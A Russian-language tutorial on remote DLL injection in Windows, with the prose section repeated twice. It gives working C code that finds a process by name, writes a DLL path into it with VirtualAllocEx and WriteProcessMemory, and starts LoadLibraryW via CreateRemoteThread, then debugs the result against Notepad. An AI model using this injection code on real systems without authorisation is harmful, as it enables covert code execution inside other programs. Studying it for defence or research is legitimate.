В этой статье предлагаю обсудить метод, аналогичный тому, что был показан ранее при локальной инъекции DLL, за исключением того, что теперь инъекция будет выполняться в удаленный процесс.
Перечисление процессов
Прежде чем можно будет инъецировать DLL в процесс, необходимо выбрать целевой процесс. Поэтому первым шагом в инъекции в удаленный процесс обычно является перечисление запущенных процессов на компьютере для определения потенциальных целевых процессов, в которые можно выполнить инъекцию. Для этого требуется идентификатор процесса (PID), чтобы открыть дескриптор целевого процесса и выполнить необходимую работу в нем.
В статье мы создадим функцию, которая выполняет перечисление процессов для определения всех запущенных процессов.
Функция GetRemoteProcessHandle будет использоваться для перечисления всех запущенных процессов в системе, открытия дескриптора целевого процесса и возврата как PID, так и дескриптора процесса.
CreateToolhelp32Snapshot
Кодовый фрагмент начинается с использования функции CreateToolhelp32Snapshot с флагом TH32CS_SNAPPROCESS в качестве первого параметра, который создает снимок всех процессов, работающих в системе в момент выполнения функции.
Структура PROCESSENTRY32
После создания снимка функция Process32First используется для получения информации о первом процессе в снимке. Для всех остальных процессов в снимке используется функция Process32Next.
Документация Microsoft утверждает, что как Process32First, так и Process32Next требуют передачи структуры PROCESSENTRY32 в качестве второго параметра. После вызова функций эти функции заполняют структуру информацией о процессе.
Структура PROCESSENTRY32 показана ниже с комментариями рядом к полезным членам структуры, которые будут заполнены этими функциями.
После вызова Process32First или Process32Next и заполнения структуры, данные можно извлечь из структуры, используя оператор точки.
Например, чтобы извлечь PID, используйте PROCESSENTRY32.th32ProcessID.
Process32First и Process32Next
Как уже упоминалось, Process32First используется для получения информации о первом процессе, а Process32Next для всех остальных процессов в снимке с использованием цикла do-while. Имя процесса, которое ищется (szProcessName), сравнивается с именем процесса в текущей итерации цикла, которое извлекается из заполненной структуры Proc.szExeFile. Если есть совпадение, то сохраняется идентификатор процесса (PID), и открывается дескриптор для этого процесса.
Пример кода получения ID и хендла процесса по имени:
Чувствительность к регистру в имени процесса
Приведенный выше кодовый фрагмент содержит один недочет, который был упущен и который может привести к неверным результатам. Функция wcscmp использовалась для сравнения имен процессов, но при этом не учитывалась чувствительность к регистру, что означает, что Process1.exe и process1.exe будут считаться двумя разными процессами.
В приведенном ниже кодовом фрагменте этот недостаток устранен путем преобразования значения в члене Proc.szExeFile в строку в нижнем регистре, а затем сравнения его со szProcessName.
Таким образом, szProcessName всегда должен передаваться в виде строки в нижнем регистре.
Инъекция DLL
Дескриптор процесса целевого процесса был успешно получен. Следующим шагом будет инъекция DLL в целевой процесс, для которого потребуется использование нескольких ранее использованных Windows API, а также некоторых новых.
VirtualAllocEx - Аналогично VirtualAlloc, за исключением того, что он позволяет выделять память в удаленном процессе.
WriteProcessMemory - Записывает данные в удаленный процесс. В этом случае он будет использоваться для записи пути к DLL в целевой процесс.
CreateRemoteThread - Создает поток в удаленном процессе.
Обзор кода
В этом разделе будет рассмотрен код инъекции DLL (показан ниже). Функция InjectDllToRemoteProcess принимает два аргумента:
Дескриптор процесса - это HANDLE к целевому процессу, в который будет инъецирован DLL.
Имя DLL - полный путь к DLL, который будет инъецирован в целевой процесс.
Определение адреса LoadLibraryW
LoadLibraryW используется для загрузки DLL в процесс, который его вызывает. Поскольку целью является загрузка DLL в удаленный процесс, а не в локальный процесс, он не может быть вызван напрямую.
Вместо этого необходимо получить адрес LoadLibraryW и передать его созданному удаленному потоку в процессе, передавая имя DLL в качестве его аргумента.
Это работает, потому что адрес WinAPI LoadLibraryW будет таким же в удаленном процессе, как и в локальном процессе. Чтобы определить адрес WinAPI, используются GetProcAddress и GetModuleHandle.
Адрес, хранящийся в pLoadLibraryW, будет использоваться в качестве точки входа потока при создании нового потока в удаленном процессе.
Выделение памяти
Следующим шагом является выделение памяти в удаленном процессе, которое может вместить имя DLL, DllName. Для выделения памяти в удаленном процессе используется функция VirtualAllocEx.
Запись в выделенную память
После успешного выделения памяти в удаленном процессе можно использовать WriteProcessMemory для записи в выделенный буфер. Имя DLL записывается в ранее выделенный буфер памяти.
Функция WinAPI WriteProcessMemory выглядит следующим образом на основе ее документации:
На основе показанных выше параметров WriteProcessMemory, его можно вызвать следующим образом, записывая буфер (DllName) в выделенный адрес (pAddress), возвращенный ранее вызванной функцией VirtualAllocEx.
Выполнение через новый поток
После успешной записи пути к DLL в выделенный буфер будет использоваться CreateRemoteThread для создания нового потока в удаленном процессе.
Здесь становится необходимым адрес LoadLibraryW.
pLoadLibraryW передается в качестве начального адреса потока, затем pAddress, содержащий имя DLL, передается в качестве аргумента вызова LoadLibraryW. Это делается путем передачи pAddress в качестве параметра lpParameter функции CreateRemoteThread.
Параметры CreateRemoteThread такие же, как у функции CreateThread, описанной ранее, за исключением дополнительного параметра HANDLE hProcess, который представляет собой дескриптор процесса, в котором будет создан поток.
Инъекция DLL - Поный код функции InjectDllToRemoteProcess
Отладка (В качестве домашнего задания напишите проект сами и проделайте сами описанное ниже)
В этом разделе реализация отлаживается с использованием отладчика xdbg, чтобы лучше понять, что происходит "под капотом".
Сначала запустите RemoteDllInjection.exe и передайте два аргумента: целевой процесс и полный путь к DLL, который нужно внедрить в целевой процесс.
В этой демонстрации внедряется notepad.exe.
Процесс перечисления успешно выполнен. Проверьте, что PID Notepad действительно равен 20932, используя Process Hacker.
Далее, к целевому процессу, Блокноту, присоединяется xdbg, и проверяется выделенный адрес. Изображение ниже показывает, что буфер был успешно выделен.
После выделения памяти имя DLL записывается в буфер.
Наконец, в удаленном процессе создается новый поток, который выполняет DLL.
Проверьте, что DLL был успешно внедрен, используя вкладку "модули" в Process Hacker.
Перейдите на вкладку "потоки" в Process Hacker и обратите внимание на поток, который выполняет LoadLibraryW в качестве своей начальной функции.
Перечисление процессов
Прежде чем можно будет инъецировать DLL в процесс, необходимо выбрать целевой процесс. Поэтому первым шагом в инъекции в удаленный процесс обычно является перечисление запущенных процессов на компьютере для определения потенциальных целевых процессов, в которые можно выполнить инъекцию. Для этого требуется идентификатор процесса (PID), чтобы открыть дескриптор целевого процесса и выполнить необходимую работу в нем.
В статье мы создадим функцию, которая выполняет перечисление процессов для определения всех запущенных процессов.
Функция GetRemoteProcessHandle будет использоваться для перечисления всех запущенных процессов в системе, открытия дескриптора целевого процесса и возврата как PID, так и дескриптора процесса.
CreateToolhelp32Snapshot
Кодовый фрагмент начинается с использования функции CreateToolhelp32Snapshot с флагом TH32CS_SNAPPROCESS в качестве первого параметра, который создает снимок всех процессов, работающих в системе в момент выполнения функции.
C:
// Создает снимок всех в данный момент выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
Структура PROCESSENTRY32
После создания снимка функция Process32First используется для получения информации о первом процессе в снимке. Для всех остальных процессов в снимке используется функция Process32Next.
Документация Microsoft утверждает, что как Process32First, так и Process32Next требуют передачи структуры PROCESSENTRY32 в качестве второго параметра. После вызова функций эти функции заполняют структуру информацией о процессе.
Структура PROCESSENTRY32 показана ниже с комментариями рядом к полезным членам структуры, которые будут заполнены этими функциями.
C:
typedef struct tagPROCESSENTRY32 {
DWORD dwSize;
DWORD cntUsage;
DWORD th32ProcessID; // Идентификатор процесса
ULONG_PTR th32DefaultHeapID;
DWORD th32ModuleID;
DWORD cntThreads;
DWORD th32ParentProcessID; // Идентификатор родительского процесса
LONG pcPriClassBase;
DWORD dwFlags;
CHAR szExeFile[MAX_PATH]; // Имя исполняемого файла процесса
} PROCESSENTRY32;
После вызова Process32First или Process32Next и заполнения структуры, данные можно извлечь из структуры, используя оператор точки.
Например, чтобы извлечь PID, используйте PROCESSENTRY32.th32ProcessID.
Process32First и Process32Next
Как уже упоминалось, Process32First используется для получения информации о первом процессе, а Process32Next для всех остальных процессов в снимке с использованием цикла do-while. Имя процесса, которое ищется (szProcessName), сравнивается с именем процесса в текущей итерации цикла, которое извлекается из заполненной структуры Proc.szExeFile. Если есть совпадение, то сохраняется идентификатор процесса (PID), и открывается дескриптор для этого процесса.
C:
// Получение информации о первом процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// Используйте оператор точки для извлечения имени процесса из заполненной структуры
// Если имя процесса совпадает с тем, что мы ищем
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// Используйте оператор точки для извлечения идентификатора процесса из заполненной структуры
// Сохраните PID
*dwProcessId = Proc.th32ProcessID;
// Откройте дескриптор процесса
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break; // Выход из цикла
}
// Получение информации о следующем процессе в снимке.
// Пока в снимке еще остается процесс, продолжайте цикл
} while (Process32Next(hSnapShot, &Proc));
Пример кода получения ID и хендла процесса по имени:
C:
BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите этот член в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован, Process32First завершится неудачей.
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// Создает снимок всех в данный момент выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Получение информации о первом процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
// Используйте оператор точки для извлечения имени процесса из заполненной структуры
// Если имя процесса совпадает с тем, что мы ищем
if (wcscmp(Proc.szExeFile, szProcessName) == 0) {
// Используйте оператор точки для извлечения идентификатора процесса из заполненной структуры
// Сохраните PID
*dwProcessId = Proc.th32ProcessID;
// Откройте дескриптор процесса
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break; // Выход из цикла
}
// Получение информации о следующем процессе в снимке.
// Пока в снимке еще остается процесс, продолжайте цикл
} while (Process32Next(hSnapShot, &Proc));
// Очистка ресурсов
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
Чувствительность к регистру в имени процесса
Приведенный выше кодовый фрагмент содержит один недочет, который был упущен и который может привести к неверным результатам. Функция wcscmp использовалась для сравнения имен процессов, но при этом не учитывалась чувствительность к регистру, что означает, что Process1.exe и process1.exe будут считаться двумя разными процессами.
В приведенном ниже кодовом фрагменте этот недостаток устранен путем преобразования значения в члене Proc.szExeFile в строку в нижнем регистре, а затем сравнения его со szProcessName.
Таким образом, szProcessName всегда должен передаваться в виде строки в нижнем регистре.
C:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите этот член в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован, Process32First завершится неудачей.
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// Создает снимок всех в данный момент выполняющихся процессов
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Получение информации о первом процессе в снимке.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Преобразование каждого символа в Proc.szExeFile в символ нижнего регистра
// и сохранение его в LowerName
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// Если преобразованное в нижний регистр имя процесса совпадает с искомым процессом
if (wcscmp(LowerName, szProcessName) == 0) {
// Сохраните PID
*dwProcessId = Proc.th32ProcessID;
// Откройте дескриптор процесса
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// Получение информации о следующем процессе в снимке.
// Пока в снимке еще остается процесс, продолжайте цикл
} while (Process32Next(hSnapShot, &Proc));
// Очистка ресурсов
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == NULL || *hProcess == NULL)
return FALSE;
return TRUE;
}
Инъекция DLL
Дескриптор процесса целевого процесса был успешно получен. Следующим шагом будет инъекция DLL в целевой процесс, для которого потребуется использование нескольких ранее использованных Windows API, а также некоторых новых.
VirtualAllocEx - Аналогично VirtualAlloc, за исключением того, что он позволяет выделять память в удаленном процессе.
WriteProcessMemory - Записывает данные в удаленный процесс. В этом случае он будет использоваться для записи пути к DLL в целевой процесс.
CreateRemoteThread - Создает поток в удаленном процессе.
Обзор кода
В этом разделе будет рассмотрен код инъекции DLL (показан ниже). Функция InjectDllToRemoteProcess принимает два аргумента:
Дескриптор процесса - это HANDLE к целевому процессу, в который будет инъецирован DLL.
Имя DLL - полный путь к DLL, который будет инъецирован в целевой процесс.
Определение адреса LoadLibraryW
LoadLibraryW используется для загрузки DLL в процесс, который его вызывает. Поскольку целью является загрузка DLL в удаленный процесс, а не в локальный процесс, он не может быть вызван напрямую.
Вместо этого необходимо получить адрес LoadLibraryW и передать его созданному удаленному потоку в процессе, передавая имя DLL в качестве его аргумента.
Это работает, потому что адрес WinAPI LoadLibraryW будет таким же в удаленном процессе, как и в локальном процессе. Чтобы определить адрес WinAPI, используются GetProcAddress и GetModuleHandle.
C:
// LoadLibrary экспортируется kernel32.dll
// Поэтому получен дескриптор kernel32.dll, а затем адрес LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
Адрес, хранящийся в pLoadLibraryW, будет использоваться в качестве точки входа потока при создании нового потока в удаленном процессе.
Выделение памяти
Следующим шагом является выделение памяти в удаленном процессе, которое может вместить имя DLL, DllName. Для выделения памяти в удаленном процессе используется функция VirtualAllocEx.
C:
// Выделяет память размером dwSizeToWrite (это размер имени dll) внутри удаленного процесса, hProcess.
// Защита памяти - Чтение-Запись
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Запись в выделенную память
После успешного выделения памяти в удаленном процессе можно использовать WriteProcessMemory для записи в выделенный буфер. Имя DLL записывается в ранее выделенный буфер памяти.
Функция WinAPI WriteProcessMemory выглядит следующим образом на основе ее документации:
C:
BOOL WriteProcessMemory(
[in] HANDLE hProcess, // Дескриптор процесса, память которого будет записана
[in] LPVOID lpBaseAddress, // Базовый адрес в указанном процессе, в который будут записаны данные
[in] LPCVOID lpBuffer, // Указатель на буфер, содержащий данные для записи в 'lpBaseAddress'
[in] SIZE_T nSize, // Количество байт, которые будут записаны в указанный процесс.
[out] SIZE_T *lpNumberOfBytesWritten // Указатель на переменную 'SIZE_T', которая получает количество фактически записанных байтов
);
На основе показанных выше параметров WriteProcessMemory, его можно вызвать следующим образом, записывая буфер (DllName) в выделенный адрес (pAddress), возвращенный ранее вызванной функцией VirtualAllocEx.
C:
// Записанные данные - это имя DLL, 'DllName', размером 'dwSizeToWrite'
SIZE_T lpNumberOfBytesWritten = NULL;
WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)
Выполнение через новый поток
После успешной записи пути к DLL в выделенный буфер будет использоваться CreateRemoteThread для создания нового потока в удаленном процессе.
Здесь становится необходимым адрес LoadLibraryW.
pLoadLibraryW передается в качестве начального адреса потока, затем pAddress, содержащий имя DLL, передается в качестве аргумента вызова LoadLibraryW. Это делается путем передачи pAddress в качестве параметра lpParameter функции CreateRemoteThread.
Параметры CreateRemoteThread такие же, как у функции CreateThread, описанной ранее, за исключением дополнительного параметра HANDLE hProcess, который представляет собой дескриптор процесса, в котором будет создан поток.
C:
// Точка входа потока будет 'pLoadLibraryW', который является адресом LoadLibraryW
// Имя DLL, pAddress, передается в качестве аргумента для LoadLibrary
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
Инъекция DLL - Поный код функции InjectDllToRemoteProcess
C:
BOOL InjectDllToRemoteProcess(IN HANDLE hProcess, IN LPWSTR DllName) {
BOOL bSTATE = TRUE;
LPVOID pLoadLibraryW = NULL;
LPVOID pAddress = NULL;
// получение размера DllName *в байтах* (для записи в память процесса)
DWORD dwSizeToWrite = (wcslen(DllName) + 1) * sizeof(WCHAR);
// Получение адреса LoadLibraryW
pLoadLibraryW = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
if (pLoadLibraryW == NULL) {
printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Выделение памяти в удаленном процессе
pAddress = VirtualAllocEx(hProcess, NULL, dwSizeToWrite, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Запись DllName в выделенный регион памяти
SIZE_T lpNumberOfBytesWritten = NULL;
if (!WriteProcessMemory(hProcess, pAddress, DllName, dwSizeToWrite, &lpNumberOfBytesWritten)) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
return FALSE;
}
// Создание нового потока для загрузки Dll
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, pLoadLibraryW, pAddress, NULL, NULL);
if (hThread == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
return FALSE;
}
// Ожидание завершения потока
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
// Освобождение выделенной памяти
VirtualFreeEx(hProcess, pAddress, 0, MEM_RELEASE);
return bSTATE;
}
Отладка (В качестве домашнего задания напишите проект сами и проделайте сами описанное ниже)
В этом разделе реализация отлаживается с использованием отладчика xdbg, чтобы лучше понять, что происходит "под капотом".
Сначала запустите RemoteDllInjection.exe и передайте два аргумента: целевой процесс и полный путь к DLL, который нужно внедрить в целевой процесс.
В этой демонстрации внедряется notepad.exe.
Процесс перечисления успешно выполнен. Проверьте, что PID Notepad действительно равен 20932, используя Process Hacker.
Далее, к целевому процессу, Блокноту, присоединяется xdbg, и проверяется выделенный адрес. Изображение ниже показывает, что буфер был успешно выделен.
После выделения памяти имя DLL записывается в буфер.
Наконец, в удаленном процессе создается новый поток, который выполняет DLL.
Проверьте, что DLL был успешно внедрен, используя вкладку "модули" в Process Hacker.
Перейдите на вкладку "потоки" в Process Hacker и обратите внимание на поток, который выполняет LoadLibraryW в качестве своей начальной функции.